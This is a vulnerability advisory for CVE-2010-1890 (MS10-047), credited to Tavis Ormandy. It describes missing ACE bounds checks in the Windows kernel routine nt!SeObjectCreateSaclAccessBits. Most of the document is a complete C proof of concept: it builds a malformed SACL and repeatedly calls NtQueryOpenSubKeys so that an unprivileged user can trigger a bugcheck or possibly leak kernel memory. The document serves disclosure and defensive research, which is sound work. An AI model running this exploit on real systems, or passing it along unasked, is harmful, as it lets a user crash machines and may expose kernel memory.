Microsoft Windows - nt!SeObjectCreateSaclAccessBits() Missed ACE Bounds Checks (MS10-047)

Microsoft Windows nt!SeObjectCreateSaclAccessBits() missed ACE bounds checks

----------------------------------------------------------------------------



CVE-2010-1890



An ACE is an Access Control Entry, of which many may be attached to an ACL

(Access Control List). On Windows, an ACL can be of type SACL or DACL

(Discretionary vs System). The routine nt!SeObjectCreateSaclAccessBits omits

proper bounds checking, allowing an attacker who specifies a pathological ACE

size and count to disrupt the operation of the system.



An ACL structure looks like this



kd> dt nt!_ACL

   +0x000 AclRevision      : UChar

   +0x001 Sbz1             : UChar

   +0x002 AclSize          : Uint2B

   +0x004 AceCount         : Uint2B

   +0x006 Sbz2             : Uint2B



And will have the specfied number of entries attached to it. An ACE has a header,



typedef struct _ACE_HEADER {

    BYTE AceType;

    BYTE AceFlags;

    WORD AceSize;

} ACE_HEADER, *PACE_HEADER;



http://msdn.microsoft.com/en-us/library/aa374919%28VS.85%29.aspx



Followed by some type specific data, such as SID and so on. By specifying

pathological ACE configuration, we can cause a fatal system error.



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Affected Software

------------------------



At least Microsoft Windows 7 is affected.



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Consequences

-----------------------



This issue may be of interest to security professionals but end users are

unlikely to be affected by this issue. An unprivileged user may be able to

cause a bugcheck, or possibly leak kernel memory.



Example code to trigger this vulnerability is available below.



#ifndef WIN32_NO_STATUS

# define WIN32_NO_STATUS    // I prefer working with ntstatus.h

#endif

#include <windows.h>

#include <assert.h>

#include <stdio.h>

#include <winerror.h>

#include <winternl.h>

#include <stddef.h>

#include <winnt.h>

#ifdef WIN32_NO_STATUS

# undef WIN32_NO_STATUS

#endif

#include <ntstatus.h>



#pragma comment(lib, "advapi32")



PVOID AllocBuffer(ULONG Size);



// macro below copied from ntdef.h



#define InitializeObjectAttributes( p, n, a, r, s ) {   \

    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \

    (p)->RootDirectory = r;                             \

    (p)->Attributes = a;                                \

    (p)->ObjectName = n;                                \

    (p)->SecurityDescriptor = s;                        \

    (p)->SecurityQualityOfService = NULL;               \

    }



#define OBJ_FORCE_ACCESS_CHECK  0x00000400L



int main(int argc, char **argv)

{

    OBJECT_ATTRIBUTES ObjectAttributes;

    SECURITY_DESCRIPTOR SecurityDescriptor;

    UNICODE_STRING ObjectName;

    FARPROC NtQueryOpenSubKeys;

    ULONG HandleCount;

    PACL Sacl;

    ACE_HEADER Ace;



    NtQueryOpenSubKeys = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryOpenSubKeys");



    InitializeObjectAttributes(&ObjectAttributes,

                               &ObjectName,

                               OBJ_FORCE_ACCESS_CHECK,

                               NULL,

                               &SecurityDescriptor);



    fprintf(stderr, "NtQueryOpenSubKeys@%p\n", NtQueryOpenSubKeys);



    ZeroMemory(&ObjectName, sizeof(ObjectName));



    Sacl            = AllocBuffer(0x800);

    Ace.AceType     = SYSTEM_MANDATORY_LABEL_ACE_TYPE;

    Ace.AceFlags    = INHERIT_ONLY_ACE;



    InitializeSecurityDescriptor(&SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);

    SetSecurityDescriptorSacl(&SecurityDescriptor, TRUE, Sacl, FALSE);

    InitializeAcl(Sacl, 0x800, ACL_REVISION);



    // Begin malformed

    Sacl->AceCount   = 0x1000;

    Ace.AceSize      = 0x1000;



    // Append ACE Header (body not necessary to demonstrate bug)

    // &Sacl[1] is the first byte after the ACL, where the first ACE begins.

    CopyMemory(&Sacl[1], &Ace, sizeof(Ace));



    while (TRUE) {

        NtQueryOpenSubKeys(&ObjectAttributes, &HandleCount);

        Sleep(0x1);

    }



    return 0;

}



#ifndef PAGE_SIZE

# define PAGE_SIZE 0x1000

#endif



// Quick routine to make a guarded buffer, no error checking etc. whatever.

PVOID AllocBuffer(ULONG Size)

{

    ULONG GuardBufSize;

    PBYTE GuardBuf;

    ULONG ProtBits;



    // Round size up to the next PAGE_SIZE

    GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);



    // Add one page to be a guardbuf

    GuardBufSize = GuardBufSize + PAGE_SIZE;



    // Allocate a buffer with a GuardPage

    GuardBuf = VirtualAlloc(NULL,

                            GuardBufSize,

                            MEM_COMMIT | MEM_RESERVE,

                            PAGE_READWRITE);



    // Make the last page NOACCESS

    VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE,

                   PAGE_SIZE,

                   PAGE_NOACCESS,

                   &ProtBits);



    // Calculate where buffer should be, so that Buffer[Size] AVs.

    return GuardBuf + GuardBufSize - PAGE_SIZE - Size;

}





-------------------

Credit

-----------------------



This bug was discovered by Tavis Ormandy.



-------------------

Greetz

-----------------------



$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/

$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.

$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710

$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.

$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.



And all the other elite people I've worked with (sorry, too many to generate!).



-------------------

Notes

-----------------------



Approximate time to fix was 150 days. 



-------------------

References

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- http://msdn.microsoft.com/en-us/library/aa374919%28VS.85%29.aspx

  ACE_HEADER

- http://msdn.microsoft.com/en-us/library/aa374931%28v=VS.85%29.aspx

  ACL

- http://msdn.microsoft.com/en-us/library/ms809962.aspx

  OBJ_FORCE_ACCESS_CHECK